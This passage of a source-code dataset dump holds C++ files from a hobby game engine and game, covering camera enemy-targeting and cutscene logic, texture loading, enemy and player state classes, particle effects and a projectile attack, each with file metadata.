and dist >= 0.1f) {\n\t\tm_oldDist = dist;\n\t\tg_camera3D->SetPosition(result);\n\t}\n\t//printf(\"delta %f / dist %f\\n\", dlt,dist);\n\n\tif (m_state == State::enPlayerCamera) {\n\t\tm_cameraChangeRatio = min(1.f, m_cameraChangeRatio += m_transitionSpeed * gameTime()->GetDeltaTime());\n\t}\n\telse {\n\t\tm_cameraChangeRatio = max(0.f, m_cameraChangeRatio -= m_transitionSpeed * gameTime()->GetDeltaTime());\n\t}\n\t//DebugPrintVector3(TO_INT(EDebugConsoloUser::WATA), m_position);\n}\n\nvoid GameCamera::CalcTarget() {\n\tauto& enemies = EnemyManager::GetEnemyManager().GetEnemies();\n\n\tif (enemies.size() == 0) {\n\t\tEnemyManager::GetEnemyManager().SetTargetEnemy(nullptr);\n\t}\n\telse {\n\t\t//ターゲット切替.\n\n\t\tif (m_state != State::enEnemyCamera) return;\n\n\t\tconst float changeTargetVal = 0.7f;\n\t\tauto rxf = g_pad[0]->GetRStickXF();\n\n\t\tif (enemyTargetChangeTime >= 0.3f) {\n\n\t\t\tint centerIndex, leftIndex, rightIndex;\n\n\t\t\tbool isChangeTarget = false;\n\n\t\t\t//right\n\t\t\tif (rxf >= changeTargetVal) {\n\t\t\t\tisChangeTarget = true;\n\t\t\t\tstd::tie(centerIndex, leftIndex, rightIndex) = GetTargetEnemyIndexes();\n\t\t\t\tif (rightIndex != -1) {\n\t\t\t\t\tm_targetEnemyNo = rightIndex;\n\t\t\t\t}\n\t\t\t\telse if (centerIndex != -1) {\n\t\t\t\t\tm_targetEnemyNo = centerIndex;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t//left\n\t\t\tif (rxf <= -changeTargetVal) {\n\t\t\t\tisChangeTarget = true;\n\t\t\t\tstd::tie(centerIndex, leftIndex, rightIndex) = GetTargetEnemyIndexes();\n\t\t\t\tif (leftIndex != -1) {\n\t\t\t\t\tm_targetEnemyNo = leftIndex;\n\t\t\t\t}\n\t\t\t\telse if (centerIndex != -1) {\n\t\t\t\t\tm_targetEnemyNo = centerIndex;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t//center\n\t\t\tif (g_pad[0]->IsTrigger(enButtonRB3)) {\n\t\t\t\tstd::tie(centerIndex, leftIndex, rightIndex) = GetTargetEnemyIndexes();\n\t\t\t\tif (centerIndex != -1) {\n\t\t\t\t\tisChangeTarget = true;\n\t\t\t\t\tm_targetEnemyNo = centerIndex;\n\t\t\t\t\tm_enemyCameraCurrentTargetPos = m_enemyCameraNextTargetPos = enemies.at(m_targetEnemyNo)->GetPosition();\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\tisChangeTarget = false;\n\t\t\t\t\tEnemyManager::GetEnemyManager().SetTargetEnemy(nullptr);\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif (m_targetEnemyNo != -1 and isChangeTarget) {\n\t\t\t\tenemyTargetChangeTime = 0.f;\n\t\t\t\tm_enemyCameraNextTargetPos = enemies.at(m_targetEnemyNo)->GetPosition();\n\t\t\t\tEnemyManager::GetEnemyManager().SetTargetEnemy(enemies.at(m_targetEnemyNo));\n\t\t\t}\n\n\t\t}\n\t}\n}\n\nvoid GameCamera::CalcEnemyCamera() {\n\tstatic float distParam = 40.f;\n\tstatic float cameraAdditionalHeight = 35.f;\n\tstatic float cameraAdditionalTargetHeight = 15.f;\n\tstatic float charaSlideParam = 5.f;\n\tstatic float targetSlideParam = 30.f;\n\n\tVector3 ecPos;\n\n\tauto targettingEnemy = EnemyManager::GetEnemyManager().GetTargettingEnemy();\n\n\tif (targettingEnemy == nullptr) {\n\t\tm_state = State::enPlayerCamera;\n\t\tm_targetEnemyNo = -1;\n\t}\n\telse if(targettingEnemy->GetCurrentState() == targettingEnemy->GetState(TO_INT(IEnemy::EnState::enDeadState))){\n\t\tm_state = State::enPlayerCamera;\n\t\tm_targetEnemyNo = -1;\n\t}\n\telse {\n\t\tm_targetPos = targettingEnemy->GetPosition();\n\t\tm_enemyCameraNextTargetPos = targettingEnemy->GetPosition();\n\t}\n\n\n\n\t//ターゲットの位置を切替先まで補完する.\n\tauto vecCurrentToNext = m_enemyCameraNextTargetPos - m_enemyCameraCurrentTargetPos;\n\tauto lengthToNextTargetPos = vecCurrentToNext.Length();\n\tvecCurrentToNext.Normalize();\n\tauto currentLength = lengthToNextTargetPos * enemyTargetChangeTime;\n\tm_enemyCameraCurrentTargetPos += vecCurrentToNext * currentLength;\n\tenemyTargetChangeTime += gameTime()->GetDeltaTime();\n\tenemyTargetChangeTime = min(gameTime()->GetDeltaTime() + enemyTargetChangeTime, 1.f);\n\tm_targetPos = m_enemyCameraCurrentTargetPos;\n\n\t//キャラとターゲットが一直線に重なって見えるようなカメラの位置を計算.\n\tauto vecTargetToChara = m_charaPos - m_targetPos;\n\tauto length = vecTargetToChara.Length();\n\tvecTargetToChara.Normalize();\n\tecPos = m_targetPos + vecTargetToChara * (length + distParam);\n\t//カメラの位置を上げる.\n\tecPos.y += cameraAdditionalHeight;\n\n\t//カメラを右側にずらす.\n\tauto vecRight = vecTargetToChara;\n\tvecRight.y = 0.f;\n\tvecRight.Cross({ 0,1,0 });\n\tvecRight.Normalize();\n\tecPos += vecRight * charaSlideParam;\n\n\t//TODO : tarpがnanになるバグがあるので修正する. (m_targetPosは正常なのでこの演算中に壊れてる。\n\t//ターゲットのターゲット位置もカメラの右側にする.\n\tauto tarp = m_targetPos;\n\ttarp -= vecRight * targetSlideParam;\n\ttarp = m_charaPos + vecRight * charaSlideParam;\n\t//ターゲットの位置を上げる.\n\ttarp.y += cameraAdditionalTargetHeight;\n\n\tm_enemyCameraPos = ecPos;\n\tm_enemyCameraTargetPos = tarp;\n\n\tif (!m_isInitedInitialDist and m_state == State::enEnemyCamera) {\n\t\tm_oldDist = (m_enemyCameraTargetPos - m_enemyCameraPos).Length();\n\t\tm_isInitedInitialDist = true;\n\t}\n\n}\n\nvoid GameCamera::CalcPlayerCamera() {\n\tauto xf = g_pad[0]->GetRStickXF();\n\tauto yf = g_pad[0]->GetRStickYF()*-1.f;\n\n\tstatic const float upperLimit = 0.95f;\n\tstatic const float lowerLimit = -0.5f;\n\tstatic float cameraHeight = 5.f;\n\n\tauto vecCharaToCamera = m_playerCameraPos - m_charaPos;\n\n\tQuaternion rotY = Quaternion::Identity;\n\tQuaternion rotX = Quaternion::Identity;\n\txf *= gameTime()->GetDeltaTime() * m_swivelSpeed;\n\tyf *= gameTime()->GetDeltaTime() * m_swivelSpeed;\n\n\tauto x = vecCharaToCamera;\n\tx.Normalize();\n\n\tauto vecRight = vecCharaToCamera;\n\tvecRight.y = 0.f;\n\tvecRight.Cross({ 0,1,0 });\n\tvecRight.Normalize();\n\trotX.SetRotationDeg(vecRight, yf);\n\trotX.Apply(m_dist);\n\n\tauto nd = m_dist;\n\tnd.Normalize();\n\tif (nd.y > upperLimit or nd.y < lowerLimit) {\n\t\tm_dist = m_old;\n\t}\n\n\trotY.SetRotationDegY(xf);\n\trotY.Apply(m_dist);\n\n\tm_playerCameraPos = m_charaPos + m_dist;\n\tm_playerCameraTargetPos = m_charaPos + m_furtherTargetHeight;\n\n\t//エネミーカメラに完全に切り替わったらプレイヤーカメラの位置を計算\n\tif (m_cameraChangeRatio == 0.f) {\n\n\t\tauto cameraForward = g_camera3D->GetForward();\n\t\tcameraForward.y = 0.f;\n\t\tcameraForward.Normalize();\n\t\tcameraForward.Scale(-1 * m_toCameraPos.Length());\n\t\tcameraForward.y += cameraHeight;\n\t\tm_playerCameraPos = m_charaPos + cameraForward;\n\n\t\tm_dist = m_playerCameraPos - GameManager::GetInstance().m_player->GetPosition();\n\t}\n\n\tm_old = m_dist;\n\n\tif (!m_isInitedInitialDist and m_state == State::enPlayerCamera) {\n\t\tm_oldDist = (m_playerCameraPos - m_playerCameraTargetPos).Length();\n\t\tm_isInitedInitialDist = true;\n\t}\n\n}\n/*\nvoid GameCamera::CalcSlerpPerformanceCamera() {\n\n\t//補完中\n\tauto vecCtoBCP = m_pfrmCamBeginPos - m_pfrmCenterPos;\n\tstatic float cameraDist = vecCtoBCP.Length();\n\tauto vecCtoECP = m_pfrmCamEndPos - m_pfrmCenterPos;\n\n\tfloat dist_cecp = vecCtoBCP.Length();\n\tfloat dist_cpcp = vecCtoECP.Length();\n\n\tvecCtoBCP.Normalize();\n\tvecCtoECP.Normalize();\n\n\tQuaternion q1;\n\tq1.SetRotation(vecCtoBCP, vecCtoECP);\n\tQuaternion sl;\n\tsl.Slerp(m_pfrmCameraChangeRatio, Quaternion::Identity, q1);\n\tVector3 slpos = m_pfrmCamBeginPos - m_pfrmCenterPos;\n\tsl.Apply(slpos);\n\tauto scaleRatio = dist_cpcp / dist_cecp;\n\tauto scale = Math::Lerp(m_pfrmCameraChangeRatio, 1.f, scaleRatio);\n\tslpos.Scale(scale);\n\n\tm_position = slpos + m_pfrmCenterPos;\n\n\tg_camera3D->SetPosition(m_position);\n\tauto tar = Math::Lerp(m_pfrmCameraChangeRatio, m_pfrmTarBeginPos, m_pfrmTarEndPos);\n\tg_camera3D->SetTarget(tar);\n\n\tm_pfrmCameraChangeRatio = min(1.f, m_pfrmCameraChangeRatio += m_pfrmTimeSec * gameTime()->GetDeltaTime());\n\n\tif (m_pfrmCameraChangeRatio == 1.f) {\n\t\tm_state = State::enPlayerCamera;\n\t\tm_cameraChangeRatio = 1.f;\n\t\tGameManager::GetInstance().m_menu->ResumeGame();\n\t}\n\n}\n*/\nvoid GameCamera::CalcLerpPerformanceCamera() {\n\n\tVector3 currentPos;\n\tcurrentPos.Lerp(m_pfrmCameraChangeRatio, m_pfrmCamBeginPos, m_pfrmCamEndPos);\n\tm_position = currentPos;\n\tg_camera3D->SetPosition(m_position);\n\tauto tar = Math::Lerp(m_pfrmCameraChangeRatio, m_pfrmTarBeginPos, m_pfrmTarEndPos);\n\tg_camera3D->SetTarget(tar);\n\n\tif (m_pfrmCameraChangeRatio == 1.f) {\n\t\t//m_state = State::enPlayerCamera;\n\t\t//m_cameraChangeRatio = 1.f;\n\t\t//GameManager::GetInstance().m_menu->ResumeGame();\n\t\tGameManager::GetInstance().m_gameScene->EndBossPerform();\n\t}\n\n\n\tif (m_pfrmTimer >= m_pfrmTimeSec + m_pfrmGameResumeInterval) {\n\t\tif (m_afterPerformState == State::enEnemyCamera) {\n\t\t\tChangeStateToEnemyCam();\n\t\t}\n\t\telse {\n\t\t\tChangePlayerCam();\n\t\t}\n\t\tGameManager::GetInstance().m_menu->ResumeGame();\n\t\tm_isPerforming = false;\n\t\tg_graphicsEngine->GetPostEffect().SetUseFocusBlurFrag(false);\n\n\t}\n\n\tm_pfrmTimer = m_pfrmTimer + gameTime()->GetDeltaTime();\n\tm_pfrmCameraChangeRatio = min(1.f, m_pfrmTimer / m_pfrmTimeSec);\n}\n\nvoid GameCamera::UpdateState() {\n\tconst auto targettingEnemy = EnemyManager::GetEnemyManager().GetTargettingEnemy();\n\tif (g_pad[0]->IsTrigger(enButtonRB3)) {\n\t\tif (m_state == State::enEnemyCamera) {\n\t\t\tm_state = State::enPlayerCamera;\n\t\t}\n\t\telse {\n\t\t\tm_state = State::enEnemyCamera;\n\t\t}\n\t}\n}\n\nstd::tuple<int, int, int> GameCamera::GetTargetEnemyIndexes() {\n\n\tauto& enemies = EnemyManager::GetEnemyManager().GetEnemies();\n\n\t//カメラ正面の敵をターゲットする.\n\tconst auto& cameraForward = g_camera3D->GetForward();\n\tauto cameraPos = g_camera3D->GetPosition();\n\tfloat maxApprox = -2.f;\n\tIEnemy* forwardEnemy = nullptr;\n\tfloat minDist = FLT_MAX;\n\tint forwardEnemyIndex = 0;\n\n\tconst float AUTO_TARGET_RANGE = 150.f;\n\n\tstd::map<float, int, std::greater<float>> sortedEnemiesMap;\n\n\tfor (int i = 0; i < enemies.size(); i++) {\n\n\t\tif (enemies.at(i)->GetCurrentState() == enemies.at(i)->GetState(TO_INT(IEnemy::EnState::enDeadState))) {\n\t\t\tcontinue;\n\t\t}\n\n\t\tbtVector3 from, to;\n\t\tfrom.setX(m_position.x);\n\t\tfrom.setY(m_position.y);\n\t\tfrom.setZ(m_position.z);\n\n\t\tto.setX(enemies.at(i)->GetPosition().x);\n\t\tto.setY(enemies.at(i)->GetPosition().y);\n\t\tto.setZ(enemies.at(i)->GetPosition().z);\n\n\t\tRayTestResult cb;\n\t\tPhysics().GetDynamicWorld()->rayTest(from, to, cb);\n\n\t\tif (cb.isHit) {\n\t\t\tcontinue;\n\t\t}\n\n\t\tconst auto& enemyPos = enemies.at(i)->GetPosition();\n\t\tauto vecCameraToEnemy = enemyPos - cameraPos;\n\t\tif (vecCameraToEnemy.Length() < AUTO_TARGET_RANGE) {\n\t\t\tvecCameraToEnemy.Normalize();\n\t\t\tconst auto approx = vecCameraToEnemy.Dot(cameraForward);\n\t\t\t//if (approx >= 0.5f)\n\t\t\tsortedEnemiesMap.insert(std::make_pair(approx, i));\n\t\t}\n\t}\n\n\tint index, iLeft, iRight;;\n\tindex = iLeft = iRight = -1;\n\n\t//左右の最も正面に近い敵を調べる.\n\tif (sortedEnemiesMap.size() != 0) {\n\n\t\tfor (auto const& e : sortedEnemiesMap) {\n\t\t\t//正面.\n\t\t\tif (index == -1) {\n\t\t\t\tindex = e.second;\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\t//左右判定.\n\t\t\tauto vecCameraToEnemy = enemies.at(e.second)->GetPosition() - g_camera3D->GetPosition();\n\t\t\tvecCameraToEnemy.y = 0.f;\n\t\t\tvecCameraToEnemy.Normalize();\n\t\t\tVector3 crs;\n\t\t\tcrs.Cross(vecCameraToEnemy, cameraForward);\n\n\t\t\t//右.\n\t\t\tif (iRight == -1 and crs.y < 0.f) {\n\t\t\t\tiRight = e.second;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\t//左.\n\t\t\tif (iLeft == -1 and crs.y > 0.f)\n\t\t\t{\n\t\t\t\tiLeft = e.second;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t}\n\t}\n\n\treturn std::forward_as_tuple(index, iLeft, iRight);\n}\n//\n//void GameCamera::Perform(\n//\tconst Vector3& cameraBeginPos, const Vector3& cameraEndPos, const Vector3& targetBeginPos, const Vector3& targetEndPos, const Vector3& center, const float sec)\n//{\n//\tGameManager::GetInstance().m_menu->PauseGame();\n//\tm_state = State::enSlerpPerformanceCamera;\n//\tm_pfrmCameraChangeRatio = 0.f;\n//\tm_pfrmTimeSec = sec;\n//\tm_pfrmCamBeginPos = cameraBeginPos;\n//\tm_pfrmCamEndPos = cameraEndPos;\n//\tm_pfrmTarBeginPos = targetBeginPos;\n//\tm_pfrmTarEndPos = targetEndPos;\n//\tm_pfrmCenterPos = center;\n//}\n\nvoid GameCamera::Perform(\n\tconst Vector3& cameraBeginPos, const Vector3& cameraEndPos, const Vector3& targetBeginPos, const Vector3& targetEndPos, const float sec, const float resumeInterval, const State stateAfterPerform)\n{\n\tGameManager::GetInstance().m_menu->PauseGame();\n\tm_isPerforming = true;\n\tm_pfrmTimer = 0.f;\n\tm_state = State::enLerpPerformanceCamera;\n\tm_pfrmCameraChangeRatio = 0.f;\n\tm_pfrmTimeSec = sec;\n\tm_pfrmCamBeginPos = cameraBeginPos;\n\tm_pfrmCamEndPos = cameraEndPos;\n\tm_pfrmTarBeginPos = targetBeginPos;\n\tm_pfrmTarEndPos = targetEndPos;\n\tm_pfrmGameResumeInterval = resumeInterval;\n\tm_afterPerformState = stateAfterPerform;\n}\n\n"
},
{
"alpha_fraction": 0.6508771777153015,
"alphanum_fraction": 0.6684210300445557,
"avg_line_length": 21.799999237060547,
"blob_id": "aef96b2deb32045db31eaa78d16bce708657e0d3",
"content_id": "83a69b01111d8202becc11408ef6fe5ec2ecf986",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 2344,
"license_type": "no_license",
"max_line_length": 99,
"num_lines": 100,
"path": "/UsualEngineR/Graphics/Texture.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"PreCompile.h\"\n#include \"Texture.h\"\n\n#include \"TextureManager.h\"\n\nnamespace UER\n{\n\t\n\tTexture::Texture(const wchar_t* filePath)\n\t{\n\t\tInitFromDDSFile(filePath);\n\t}\n\tTexture::~Texture()\n\t{\n\t\tif (m_texture) {\n\t\t\t//m_texture->Release();\n\t\t}\n\t}\n\t\n\tvoid Texture::InitFromD3DResource(ID3D12Resource* texture)\n\t{\n\t\tif (m_texture) {\n\t\t\tm_texture->Release();\n\t\t}\n\t\tm_texture = texture;\n\t\tm_texture->AddRef();\n\t\tm_textureDesc = m_texture->GetDesc();\n\t}\n\t\n\tvoid Texture::LoadTextureFromMemory(const char* memory, unsigned int size, const wchar_t* path)\n\t{\n\t\t//auto device = g_graphicsEngine->GetD3DDevice();\n\t\t//DirectX::ResourceUploadBatch re(device);\n\t\t//re.Begin();\n\t\t//ID3D12Resource* texture;\n\t\t//auto hr = DirectX::CreateDDSTextureFromMemoryEx(\n\t\t//\tdevice,\n\t\t//\tre,\n\t\t//\t(const uint8_t*)memory,\n\t\t//\tsize,\n\t\t//\t0,\n\t\t//\tD3D12_RESOURCE_FLAG_NONE,\n\t\t//\t0,\n\t\t//\t&texture\n\t\t//);\n\t\t//re.End(g_graphicsEngine->GetCommandQueue());\n\t\n\t\t//if (FAILED(hr)) {\n\t\t//\t//テクスチャの作成に失敗しました。\n\t\t//\treturn;\n\t\t//}\n\n\t\tauto texture = TextureManager::Get().Load(memory, size, path);\n\t\n\t\tm_texture = texture;\n\t\tm_textureDesc = m_texture->GetDesc();\n\t}\n\tvoid Texture::LoadTextureFromDDSFile(const wchar_t* filePath)\n\t{\n\t\t//auto device = g_graphicsEngine->GetD3DDevice();\n\t\t//DirectX::ResourceUploadBatch re(device);\n\t\t//re.Begin();\n\t\t//ID3D12Resource* texture;\n\t\t//auto hr = DirectX::CreateDDSTextureFromFileEx(\n\t\t//\tdevice,\n\t\t//\tre,\n\t\t//\tfilePath,\n\t\t//\t0,\n\t\t//\tD3D12_RESOURCE_FLAG_NONE,\n\t\t//\t0,\n\t\t//\t&texture\n\t\t//);\n\t\t//re.End(g_graphicsEngine->GetCommandQueue());\n\t\n\t\t//if (FAILED(hr)) {\n\t\t//\t//テクスチャの作成に失敗しました。\n\t\t//\treturn;\n\t\t//}\n\n\t\tauto texture = TextureManager::Get().Load(filePath);\n\t\n\t\tm_texture = texture;\n\t\tm_textureDesc = m_texture->GetDesc();\n\t}\n\t\t\n\tvoid Texture::RegistShaderResourceView(D3D12_CPU_DESCRIPTOR_HANDLE descriptorHandle, int bufferNo)\n\t{\n\t\tif (m_texture) {\n\t\t\tauto device = g_graphicsEngine->GetD3DDevice();\n\t\t\tD3D12_SHADER_RESOURCE_VIEW_DESC srvDesc = {};\n\t\t\tsrvDesc.Shader4ComponentMapping = D3D12_DEFAULT_SHADER_4_COMPONENT_MAPPING;\n\t\t\tsrvDesc.Format = m_textureDesc.Format;\n\t\t\tsrvDesc.ViewDimension = D3D12_SRV_DIMENSION_TEXTURE2D;\n\t\t\tsrvDesc.Texture2D.MipLevels = m_textureDesc.MipLevels;\n\t\t\tdevice->CreateShaderResourceView(m_texture, &srvDesc, descriptorHandle);\n\t\t}\n\t}\n\n\n}\n"
},
{
"alpha_fraction": 0.7129870057106018,
"alphanum_fraction": 0.7220779061317444,
"avg_line_length": 17.33333396911621,
"blob_id": "03f1dd0fd348624c9e7311807473112623e713e6",
"content_id": "38453758fdbeef0f8c872b650e376770c424592a",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 770,
"license_type": "no_license",
"max_line_length": 61,
"num_lines": 42,
"path": "/Game/Enemy/State/MiddleBombState/BossBombGuardState.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"stdafx.h\"\n#include \"BossBombGuardState.h\"\n#include \"Enemy/IEnemy.h\"\n#include \"Enemy/EnemyManager.h\"\n#include \"Enemy/Boss/Boss_MiddleBomb.h\"\n#include \"GameManager.h\"\n\nBossBombGuardState::BossBombGuardState()\n{\n}\n\nBossBombGuardState::~BossBombGuardState()\n{\n}\n\nvoid BossBombGuardState::Enter(IEnemy* e)\n{\n\te->PlayAnimation(TO_INT(Boss_MiddleBomb::EnAnimEX::Guard));\n\te->SetVelocity(Vector3::Zero);\n\te->SetExternalVelocity({ 0,-200.f,0 });\n\tm_timer = 0.;\n}\n\nIEnemyState* BossBombGuardState::Update(IEnemy* e)\n{\n\tm_timer += gameTime()->GetDeltaTime();\n\tif (m_timer > m_timeLimit)\n\t{\n\t\treturn e->GetState(TO_INT(IEnemy::EnState::enBattleState));\n\t}\n\n\n\treturn this;\n}\n\nvoid BossBombGuardState::Exit(IEnemy* e)\n{\n}\n\nvoid BossBombGuardState::OnAttacked(IEnemy* e)\n{\n}\n"
},
{
"alpha_fraction": 0.7220339179039001,
"alphanum_fraction": 0.7220339179039001,
"avg_line_length": 16.352941513061523,
"blob_id": "f3b1585c64e49602edd2e1112e4017ba18c845a5",
"content_id": "b28ff26161048de0754cbceae8c20b96c6b22f78",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 295,
"license_type": "no_license",
"max_line_length": 43,
"num_lines": 17,
"path": "/Game/Player/State/PlayerMovieState.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n#include \"IPlayerSstate.h\"\n\n/// <summary>\n/// \n/// </summary>\nclass PlayerMovieState :public IPlayerState\n{\npublic:\n\tPlayerMovieState();\n\tvirtual ~PlayerMovieState();\n\tvoid Enter(Player*) override;\n\tIPlayerState* Update(Player*) override;\n\tvoid Exit(Player*) override;\nprivate:\n\n};\n"
},
{
"alpha_fraction": 0.643337070941925,
"alphanum_fraction": 0.6556550860404968,
"avg_line_length": 18.844444274902344,
"blob_id": "72a8e343cb1b61aa0a88fb1e06502640c41c16c4",
"content_id": "cdcd7548ca27534ad68b2e1e53fcc48378b7e764",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 2088,
"license_type": "no_license",
"max_line_length": 93,
"num_lines": 90,
"path": "/Game/Effect/ExplosionEffect.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n#include \"Effect/ParticleEffect.h\"\n#include \"Effect/VolumetricEffect.h\"\n/// <summary>\n/// \n/// </summary>\nclass ExplosionEffect :public GameObject\n{\npublic:\n\tExplosionEffect();\n\tvirtual ~ExplosionEffect();\n\n\t/// <summary>\n\t/// 本開放。確保したものを開放するための関数。\n\t/// </summary>\n\tvirtual void Release() override;\n\n\t/// <summary>\n\t/// このオブジェクトの所持するゲームオブジェクト等を消すための関数。\n\t/// 面倒くさければRelease関数と同じでもよい。\n\t/// </summary>\n\tvirtual void OnDestroy() override;\n\n\tvoid Init();\n\n\t/// <summary>\n\t/// NewGO時に即座に呼ばれる関数。\n\t/// コンストラクタの代わりに使おう。\n\t/// </summary>\n\tvoid Awake() override;\n\n\t/// <summary>\n\t/// スタート関数。\n\t/// </summary>\n\t/// <returns>trueを返さない限り、ずっとStartを呼び続ける</returns>\n\tbool Start() override;\n\n\t/// <summary>\n\t/// 更新。の前に呼ばれる更新。\n\t/// </summary>\n\tvoid PreUpdate() override;\n\t/// <summary>\n\t/// 更新。\n\t/// </summary>\n\tvoid Update() override;\n\t/// <summary>\n\t/// 更新。の後に呼ばれる更新。\n\t/// </summary>\n\tvoid PostUpdate() override;\n\n\tvoid SetPos(const Vector3& v)\n\t{\n\t\tm_effect->SetPos(v);\n\t\t//m_volumeEffect->SetPos({ v.x, v.y+m_volumeEffect->GetSca().y - m_volumeOffsetPos, v.z });\n\t}\n\tvoid SetSca(const Vector3& v)\n\t{\n\t\tm_effect->SetSca(v);\n\t\t//m_volumeEffect->SetSca()\n\t}\n\n\tvoid Play()\n\t{\n\t\t//m_isPlay = true;\n\t\tm_effect->SetGenerateFlag(true);\n\t\tm_particleTimer = 0.f;\n\t\t//m_isTimeStop = false;\n\t}\n\tvoid Stop()\n\t{\n\t\t//m_isPlay = false;\n\t\tm_effect->SetGenerateFlag(false);\n\t\t//m_isTimeStop = false;\n\t}\nprivate:\n\tPlaneParticleEffectRender* m_effect = nullptr;\n\tfloat m_particleTimer = 0.f;\n\t/*VolumetricEffectRender* m_volumeEffect = nullptr;\n\tbool m_isPlay = false;\n\n\tfloat m_timer = 0.f;\n\tfloat m_timeLimit = 3.f;\n\tbool m_isTimeStop = true;\n\n\tVector3 m_volumeColor = { 0.05,0.05,0.05 };\n\tfloat m_volumeConcentration = 0.1f;\n\n\tfloat m_volumeOffsetPos = 20.f;\n\tfloat m_volumeOffsetCenterOffsetY = 50.f;*/\n};\n"
},
{
"alpha_fraction": 0.6516854166984558,
"alphanum_fraction": 0.682584285736084,
"avg_line_length": 16,
"blob_id": "99c636fc894cc7116b54a74aa9500863fc2fa246",
"content_id": "6f2592a637c45aa0e41dc4d2d36e6e4665e48712",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 394,
"license_type": "no_license",
"max_line_length": 32,
"num_lines": 21,
"path": "/UsualEngineR/Physics/CollisionAttr.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "/*!\n * @brief\tコリジョン属性\n */\n#pragma once\n\nnamespace UER\n{\n\t/*!\n\t * @brief\tコリジョン属性の大分類。\n\t */\n\tenum EnCollisionAttr {\n\t\tenCollisionAttr_None = 0,\n\t\tenCollisionAttr_Ground = 1,\n\t\tenCollisionAttr_Character = 2,\n\t\tenCollisionAttr_NonHitIK = 4,\n\t\tenCOllisionAttr_IK = 8,\n\t\tenCollisionAttr_NonHit = 16,\n\t\tenCollisionAttr_Wall = 32,\n\t\tenCollisionAttr_User = 64\n\t};\n}"
},
{
"alpha_fraction": 0.6802356839179993,
"alphanum_fraction": 0.6936261653900146,
"avg_line_length": 27.272727966308594,
"blob_id": "c230d99df927bfcded37a50897341ed558d14a69",
"content_id": "6fdba36dad9c38c46c8bd9b1bc4a7284e07c0bd3",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1867,
"license_type": "no_license",
"max_line_length": 112,
"num_lines": 66,
"path": "/Game/Player/Attack/DistantPreset/PlayerAttackHipShot2.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"stdafx.h\"\n#include \"PlayerAttackHipShot2.h\"\n#include \"../../Player.h\"\n#include \"../../../Enemy/EnemyManager.h\"\n#include \"../Projectile.h\"\n#include \"Player/Attachment/Gun.h\"\n\nPlayerAttackHipShot2::PlayerAttackHipShot2() {\n\n}\n\nPlayerAttackHipShot2::~PlayerAttackHipShot2() {\n\n}\n\n//void PlayerAttackHipShot2::Execute(Player* player) {\n//\n//\t//const auto delta = gameTime()->GetDeltaTime();\n//\t//auto lxf = g_pad[0]->GetLStickXF();\n//\t//Quaternion rot = Quaternion::Identity;\n//\t//const float rotationSpeed = 100.f;\n//\t//rot.SetRotationDegY(lxf * rotationSpeed * delta);\n//\t//auto prot = player->GetRotation();\n//\t//prot.Multiply(rot);\n//\t//player->SetRotation(prot);\n//\tGenerateProjectiles(player);\n//\n//}\n\nvoid PlayerAttackHipShot2::GenerateProjectiles(Player* player) {\n\tconst auto deltaTime = gameTime()->GetDeltaTime();\n\tm_shotIntervalTimer += deltaTime;\n\tif (m_shotIntervalTimer >= m_shotInterval) {\n\n\t\tauto projectileL = NewGO<Projectile>(0, true);\n\t\tauto projectileR = NewGO<Projectile>(0, true);\n\n\t\tauto vel = player->GetForward();\n\t\tvel.y = 0.f;\n\n\t\t//\n\t\tconst float defSpeed = 400.f;\n\t\tconst float lifeSpan = 10.f;\n\t\tconst float range = 10.f;\n\t\tconst float scale = 0.3f;\n\n\t\tconst auto posLeft = player->GetGun()->GetGunModelBone(Gun::GunBone::Left)->GetWorldMatrix().GetTransrate();\n\t\tconst auto posRight = player->GetGun()->GetGunModelBone(Gun::GunBone::Right)->GetWorldMatrix().GetTransrate();\n\t\tconst auto& pvel = player->GetVelocity() *deltaTime;\n\n\t\tprojectileL->Init(posLeft +pvel , scale, vel, defSpeed, lifeSpan, range);\n\t\tprojectileR->Init(posRight + pvel, scale, vel, defSpeed, lifeSpan, range);\n\n\t\t//projectile->Init(player->GetPosition(), vel);\n\n\t\t//Effect\n\t\tplayer->GetGun()->PlayFireEffects();\n\n\t\tm_shotIntervalTimer = 0.f;\n\n\t\tauto se = NewGO<CSoundSource>(0);\n\t\tse->Init(L\"Assets/sound/chara/shoot.wav\", true);\n\t\tse->Play(false);\n\n\t}\n}\n\n"
},
{
"alpha_fraction": 0.7605633735656738,
"alphanum_fraction": 0.762910783290863,
"avg_line_length": 25.6875,
"blob_id": "54129a75ff6d8b7ca03d64d81718477e3e83ce0a",
"content_id": "4511dfe3dd6cea08b8c7c97c6c835d25547e0c5e",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 426,
"license_type": "no_license",
"max_line_length": 49,
"num_lines": 16,
"path": "/Game/Enemy/State/MeleeBossState/EnemyMeleeIdleState.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
